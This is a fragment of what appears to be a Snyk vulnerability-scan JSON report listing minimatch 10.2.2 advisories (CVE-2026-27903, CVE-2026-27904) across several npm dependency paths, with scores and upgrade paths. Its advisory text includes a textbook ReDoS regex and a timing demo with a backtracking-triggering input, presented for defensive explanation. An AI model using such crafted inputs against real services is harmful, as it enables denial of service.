"glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes 